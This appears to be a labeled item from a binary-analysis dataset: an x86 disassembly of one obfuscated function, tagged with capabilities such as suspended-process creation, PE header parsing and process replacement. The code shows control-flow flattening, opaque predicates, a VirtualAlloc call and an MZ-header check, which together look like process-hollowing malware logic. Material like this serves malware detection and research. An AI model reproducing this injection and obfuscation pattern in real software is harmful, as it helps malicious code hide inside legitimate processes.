Function at 0x10008870
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14c
mov eax, dword [0x10083800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x154], 0x5cf5fc2
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
sub eax, 0x811ed154
je 0x10010fea
jmp 0x100088ac
mov eax, dword [ebp - 0x158]
sub eax, 0x822de472
je 0x1000ebfd
jmp 0x100088c2
mov eax, dword [ebp - 0x158]
sub eax, 0x828ca8eb
je 0x1000ee03
jmp 0x100088d8
mov eax, dword [ebp - 0x158]
sub eax, 0x82c02bce
je 0x100128e6
jmp 0x100088ee
mov eax, dword [ebp - 0x158]
sub eax, 0x82dba154
je 0x100151e2
jmp 0x10008904
mov eax, dword [ebp - 0x158]
sub eax, 0x82ec9686
je 0x1000f42d
jmp 0x1000891a
mov eax, dword [ebp - 0x158]
sub eax, 0x8306a0fa
je 0x10015e0e
jmp 0x10008930
mov eax, dword [ebp - 0x158]
sub eax, 0x832226f7
je 0x10013610
jmp 0x10008946
mov eax, dword [ebp - 0x158]
sub eax, 0x833e601f
je 0x10014374
jmp 0x1000895c
mov eax, dword [ebp - 0x158]
sub eax, 0x834f68a4
je 0x10010d7b
jmp 0x10008972
mov eax, dword [ebp - 0x158]
sub eax, 0x83710902
je 0x10015385
jmp 0x10008988
mov eax, dword [ebp - 0x158]
sub eax, 0x83839c95
je 0x10010df5
jmp 0x1000899e
mov eax, dword [ebp - 0x158]
sub eax, 0x83a7ceb6
je 0x1000cd70
jmp 0x100089b4
mov eax, dword [ebp - 0x158]
sub eax, 0x83c28be5
je 0x1000d094
jmp 0x100089ca
mov eax, dword [ebp - 0x158]
sub eax, 0x8441be28
je 0x10014323
jmp 0x100089e0
mov eax, dword [ebp - 0x158]
sub eax, 0x848aad77
je 0x10013dba
jmp 0x100089f6
mov eax, dword [ebp - 0x158]
sub eax, 0x848e87c7
je 0x10014eea
jmp 0x10008a0c
mov eax, dword [ebp - 0x158]
sub eax, 0x84a99f80
je 0x10014643
jmp 0x10008a22
mov eax, dword [ebp - 0x158]
sub eax, 0x84afb788
je 0x10015ec7
jmp 0x10008a38
mov eax, dword [ebp - 0x158]
sub eax, 0x84d298aa
je 0x1000f5dc
jmp 0x10008a4e
mov eax, dword [ebp - 0x158]
sub eax, 0x8514d9b6
je 0x1000f6d0
jmp 0x10008a64
mov eax, dword [ebp - 0x158]
sub eax, 0x8593bf3a
je 0x1000e482
jmp 0x10008a7a
mov eax, dword [ebp - 0x158]
sub eax, 0x866cfe9d
je 0x10011cf1
jmp 0x10008a90
mov eax, dword [ebp - 0x158]
sub eax, 0x8745fa1e
je 0x1000fee5
jmp 0x10008aa6
mov eax, dword [ebp - 0x158]
sub eax, 0x878cebb9
je 0x10011f3c
jmp 0x10008abc
mov eax, dword [ebp - 0x158]
sub eax, 0x87d92a47
je 0x1000e4fc
jmp 0x10008ad2
mov eax, dword [ebp - 0x158]
sub eax, 0x87f33924
je 0x10012d7d
jmp 0x10008ae8
mov eax, dword [ebp - 0x158]
sub eax, 0x888169c2
je 0x1000ccf6
jmp 0x10008afe
mov eax, dword [ebp - 0x158]
sub eax, 0x88ade960
je 0x1000f73a
jmp 0x10008b14
mov eax, dword [ebp - 0x158]
sub eax, 0x88eb92c2
je 0x10012c8e
jmp 0x10008b2a
mov eax, dword [ebp - 0x158]
sub eax, 0x88ef4645
je 0x1000cc01
jmp 0x10008b40
mov eax, dword [ebp - 0x158]
sub eax, 0x892b1498
je 0x1001182e
jmp 0x10008b56
mov eax, dword [ebp - 0x158]
sub eax, 0x89a8c49e
je 0x1000ff13
jmp 0x10008b6c
mov eax, dword [ebp - 0x158]
sub eax, 0x8a0d6467
je 0x10013ac9
jmp 0x10008b82
mov eax, dword [ebp - 0x158]
sub eax, 0x8a2c5b0d
je 0x1000ca81
jmp 0x10008b98
mov eax, dword [ebp - 0x158]
sub eax, 0x8a824339
je 0x10010c42
jmp 0x10008bae
mov eax, dword [ebp - 0x158]
sub eax, 0x8a87293f
je 0x10014a47
jmp 0x10008bc4
mov eax, dword [ebp - 0x158]
sub eax, 0x8b0ce807
je 0x100110eb
jmp 0x10008bda
mov eax, dword [ebp - 0x158]
sub eax, 0x8b3c1637
je 0x10015319
jmp 0x10008bf0
mov eax, dword [ebp - 0x158]
sub eax, 0x8b5110b0
je 0x1000f9f1
jmp 0x10008c06
mov eax, dword [ebp - 0x158]
sub eax, 0x8b6d93b2
je 0x1000dde7
jmp 0x10008c1c
mov eax, dword [ebp - 0x158]
sub eax, 0x8bfa4f4d
je 0x100116e0
jmp 0x10008c32
mov eax, dword [ebp - 0x158]
sub eax, 0x8c001f18
je 0x1000ff30
jmp 0x10008c48
mov eax, dword [ebp - 0x158]
sub eax, 0x8c6ffb99
je 0x1001278d
jmp 0x10008c5e
mov eax, dword [ebp - 0x158]
sub eax, 0x8d17eaba
je 0x1000e0fc
jmp 0x10008c74
mov eax, dword [ebp - 0x158]
sub eax, 0x8d17efcf
je 0x100111cb
jmp 0x10008c8a
mov eax, dword [ebp - 0x158]
sub eax, 0x8d356f10
je 0x10012ef0
jmp 0x10008ca0
mov eax, dword [ebp - 0x158]
sub eax, 0x8d3ad4ac
je 0x100156d5
jmp 0x10008cb6
mov eax, dword [ebp - 0x158]
sub eax, 0x8d525359
je 0x1000f6df
jmp 0x10008ccc
mov eax, dword [ebp - 0x158]
sub eax, 0x8df1b767
je 0x1000ea4a
jmp 0x10008ce2
mov eax, dword [ebp - 0x158]
sub eax, 0x8df46073
je 0x10011136
jmp 0x10008cf8
mov eax, dword [ebp - 0x158]
sub eax, 0x8e147c5a
je 0x1000fe77
jmp 0x10008d0e
mov eax, dword [ebp - 0x158]
sub eax, 0x8f3f250d
je 0x1000f486
jmp 0x10008d24
mov eax, dword [ebp - 0x158]
sub eax, 0x8f41f8f3
je 0x10012ffe
jmp 0x10008d3a
mov eax, dword [ebp - 0x158]
sub eax, 0x8ffef90e
je 0x100134c1
jmp 0x10008d50
mov eax, dword [ebp - 0x158]
sub eax, 0x90101a4b
je 0x100134d0
jmp 0x10008d66
mov eax, dword [ebp - 0x158]
sub eax, 0x9026937d
je 0x10012125
jmp 0x10008d7c
mov eax, dword [ebp - 0x158]
sub eax, 0x906259de
je 0x1000d9ab
jmp 0x10008d92
mov eax, dword [ebp - 0x158]
sub eax, 0x9076d06c
je 0x10015410
jmp 0x10008da8
mov eax, dword [ebp - 0x158]
sub eax, 0x907a2586
je 0x100143ff
jmp 0x10008dbe
mov eax, dword [ebp - 0x158]
sub eax, 0x90af5468
je 0x10012f5a
jmp 0x10008dd4
mov eax, dword [ebp - 0x158]
sub eax, 0x9151306e
je 0x1000e6e5
jmp 0x10008dea
mov eax, dword [ebp - 0x158]
sub eax, 0x91969a4d
je 0x1001153b
jmp 0x10008e00
mov eax, dword [ebp - 0x158]
sub eax, 0x924c079f
je 0x100133a6
jmp 0x10008e16
mov eax, dword [ebp - 0x158]
sub eax, 0x925bb4b0
je 0x1000c9bf
mov eax, dword [0x10084b28]
mov ecx, dword [0x10084b24]
mov edx, eax
add edx, 0xbf2879dd
sub edx, 1
sub edx, 0xbf2879dd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa52048cb
mov ecx, 0xde4ccf2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov dword [ebp - 0x154], 0xba8a9f78
jmp 0x10015ed1
mov dword [ebp - 0x154], 0xf1bd9c66
jmp 0x10015ed1
mov ecx, dword [0x10084b28]
mov eax, dword [0x10084b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x155618f6
mov ecx, 0x130fbfcf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov ecx, dword [0x10084b28]
mov eax, dword [0x10084b24]
mov edx, ecx
add edx, 0x2451a605
sub edx, 1
sub edx, 0x2451a605
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x374a088b
mov ecx, 0xc56c051c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
movss xmm0, dword [0x10023774]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x10023770]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x154], 0x2d6381f0
jmp 0x10015ed1
mov eax, dword [0x10084b28]
mov ecx, dword [0x10084b24]
mov edx, eax
add edx, 0x760fdb98
sub edx, 1
sub edx, 0x760fdb98
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4890b7f1
mov ecx, 0x13afe5b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov ecx, dword [0x10084b28]
mov eax, dword [0x10084b24]
mov edx, ecx
sub edx, 0x3378ddb6
sub edx, 1
add edx, 0x3378ddb6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x990749b5
mov ecx, 0x9a4bd45f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
movss xmm0, dword [0x10023714]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x10023710]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x154], 0xc4fe4660
jmp 0x10015ed1
movss xmm0, dword [0x10023708]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x154], 0x355537de
jmp 0x10015ed1
movss xmm0, dword [0x100236e8]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x100236e4]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x100236e0]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x154], 0x5c46a2
jmp 0x10015ed1
movss xmm0, dword [0x100236d4]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x154], 0xef82d0f3
jmp 0x10015ed1
mov ecx, dword [0x10084b28]
mov eax, dword [0x10084b24]
mov edx, ecx
sub edx, 0x2b6ba37e
sub edx, 1
add edx, 0x2b6ba37e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3b86d26e
mov ecx, 0x2c3ad19e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
movss xmm0, dword [0x100236b8]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x154], 0x23a36e25
jmp 0x10015ed1
movss xmm0, dword [0x10023458]
movss dword [ebp - 0x13c], xmm0
mov eax, dword [0x10084b28]
mov ecx, dword [0x10084b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x77d94bbf
mov ecx, 0x8f3f250d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov dword [ebp - 0x154], 0xe11b1fac
jmp 0x10015ed1
mov ecx, dword [0x10084b28]
mov eax, dword [0x10084b24]
mov edx, ecx
add edx, 0xd3eee14a
sub edx, 1
sub edx, 0xd3eee14a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdd9618d2
mov ecx, 0xee8c809c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov dword [ebp - 0x154], 0x8d525359
jmp 0x10015ed1
mov dl, 1
mov eax, 0x88ade960
mov ecx, 0x9d03087e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
movss xmm0, dword [0x10023684]
movss dword [ebp - 0x140], xmm0
movss xmm0, dword [0x10023680]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x154], 0x1ffcc7a4
jmp 0x10015ed1
movss xmm0, dword [0x1002366c]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x154], 0xca694237
jmp 0x10015ed1
mov ecx, dword [0x10084b28]
mov eax, dword [0x10084b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6632265f
mov ecx, 0x8745fa1e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov dword [ebp - 0x154], 0xd7d4cacc
jmp 0x10015ed1
mov dl, 1
mov eax, 0x212bd3c8
mov ecx, 0x8c001f18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
movss xmm0, dword [0x10023628]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x154], 0x1d1f6a89
jmp 0x10015ed1
mov ecx, dword [0x10084b28]
mov eax, dword [0x10084b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5504116c
mov ecx, 0x63577173
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
movss xmm0, dword [0x100235d0]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x154], 0x9d84be25
jmp 0x10015ed1
movss xmm0, dword [0x100235c4]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x154], 0x9aeeb0b5
jmp 0x10015ed1
movss xmm0, dword [0x1002340c]
movss dword [ebp - 0x150], xmm0
movss xmm0, dword [0x10023408]
movss dword [ebp - 0x150], xmm0
mov ecx, dword [0x10084b28]
mov eax, dword [0x10084b24]
mov edx, ecx
sub edx, 0x117387da
sub edx, 1
add edx, 0x117387da
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1dfa1716
mov ecx, 0x5f24cfda
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov dword [ebp - 0x154], 0x98ddc760
jmp 0x10015ed1
movss xmm0, dword [0x100235a4]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x154], 0x267a9108
jmp 0x10015ed1
movss xmm0, dword [0x10023404]
movss dword [ebp - 0x150], xmm0
mov eax, dword [0x10084b28]
mov ecx, dword [0x10084b24]
mov edx, eax
add edx, 0x37035c59
sub edx, 1
sub edx, 0x37035c59
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf76c949b
mov ecx, 0x83e5425
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
movss xmm0, dword [0x10023584]
movss dword [ebp - 0x150], xmm0
movss xmm0, dword [0x10023580]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x154], 0x1d065076
jmp 0x10015ed1
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1002357c]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xc07a2848
mov ecx, 0xdf812b18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov dword [ebp - 0x154], 0xc07a2848
jmp 0x10015ed1
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10023548]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10023544]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10023540]
movss dword [eax], xmm0
mov dword [ebp - 0x154], 0xfecfea8f
jmp 0x10015ed1
mov eax, dword [0x10084b28]
mov ecx, dword [0x10084b24]
mov edx, eax
sub edx, 0x92a3cea9
sub edx, 1
add edx, 0x92a3cea9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3a03c273
mov ecx, 0x1006d823
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov dl, 1
mov eax, 0x982b1601
mov ecx, 0x6ee659a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov dword [ebp - 0x154], 0xddacc24c
jmp 0x10015ed1
mov ecx, dword [0x10084b28]
mov eax, dword [0x10084b24]
mov edx, ecx
add edx, 0x3cae980e
sub edx, 1
sub edx, 0x3cae980e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbfcae955
mov ecx, 0x594a346d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov dword [ebp - 0x154], 0x50791cff
jmp 0x10015ed1
mov dl, 1
mov eax, 0x90af5468
mov ecx, 0xa99b2be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100233bc]
movss dword [eax], xmm0
mov eax, dword [0x10084b28]
mov ecx, dword [0x10084b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe3c3cf0a
mov ecx, 0xf14243dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100234f8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100234f4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100234f0]
movss dword [eax], xmm0
mov dword [ebp - 0x154], 0xa50eab9c
jmp 0x10015ed1
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100234e4]
movss dword [eax], xmm0
mov dword [ebp - 0x154], 0x5e2bc4ff
jmp 0x10015ed1
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100234d0]
movss dword [eax], xmm0
mov dword [ebp - 0x154], 0xc40f0ff
jmp 0x10015ed1
mov dword [ebp - 0x154], 0x90101a4b
jmp 0x10015ed1
mov dl, 1
mov eax, 0x30576d21
mov ecx, 0xea47b331
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
movzx edx, word [eax]
mov eax, 0x37e61c6a
mov ecx, 0x2af4d715
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x154], 0x15d11288
jmp 0x10015ed1
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov ax, word [eax + 6]
mov word [ebp - 0x82], ax
mov dword [ebp - 0x154], 0xeec3ae8c
jmp 0x10015ed1
mov eax, dword [0x10084b28]
mov ecx, dword [0x10084b24]
mov edx, eax
sub edx, 0xc890df1d
sub edx, 1
add edx, 0xc890df1d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa740f8df
mov ecx, 0x833e601f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [0x10084b28]
mov ecx, dword [0x10084b24]
mov edx, eax
sub edx, 0x651cc56e
sub edx, 1
add edx, 0x651cc56e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa740f8df
mov ecx, 0x1a346a5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov ecx, dword [0x10084b28]
mov eax, dword [0x10084b24]
mov edx, ecx
add edx, 0xadd0e1e8
sub edx, 1
sub edx, 0xadd0e1e8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf2046ec9
mov ecx, 0x4924e5d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov dl, byte [ebp - 0x41]
mov eax, 0x98a04536
mov ecx, 0x61b46ee4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov eax, dword [ebp - 0x34]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x2d], al
mov ecx, dword [0x10084b28]
mov eax, dword [0x10084b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8306a0fa
mov ecx, 0xa727af4d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10015ed1
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
sub ecx, 0x8ebf2609
add ecx, eax
add ecx, 0x8ebf2609
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0xd3787dd1
jmp 0x10015ed1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100165e0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movss xmm0, dword [0x100234a0]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x154], 0x4a4113cd
jmp 0x10015ed1
movss xmm0, dword [0x10023494]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x10023490]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x154], 0x2f01f08d
jmp 0x10015ed1
movss xmm0, dword [0x10023484]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x154], 0xac7028a1
jmp 0x10015ed1
mov dword [ebp - 0x154], 0xe43aab8e
jmp 0x10015ed1
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x154], 0x8a87293f
jmp 0x10015ed1
mov dword [ebp - 0x154], 0x42741c27
jmp 0x10008890